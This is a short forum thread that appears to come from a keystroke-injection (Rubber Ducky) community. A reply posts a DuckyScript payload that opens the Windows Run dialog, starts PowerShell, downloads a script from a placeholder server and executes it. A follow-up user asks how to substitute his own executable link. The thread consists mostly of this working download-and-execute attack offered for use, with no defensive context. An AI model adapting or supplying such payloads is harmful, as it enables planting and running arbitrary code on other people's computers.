Jump to content

Download & Execute


Omega52

Recommended Posts

REM Windows 10: Poweshell administrator download and execute file
DELAY 1000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell
ENTER
DELAY 3000
STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;
ENTER

Link to comment
Share on other sites

On 9/11/2020 at 11:58 AM, fvrtemp said:

REM Windows 10: Poweshell administrator download and execute file
DELAY 1000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell
ENTER
DELAY 3000
STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;
ENTER

Thanks for your reply. If my exe file direct link is for example http://www.mylink.com/file.exe . How should i write it in this line ?

STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;

Thanks

Link to comment
Share on other sites

  • 1 year later...

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...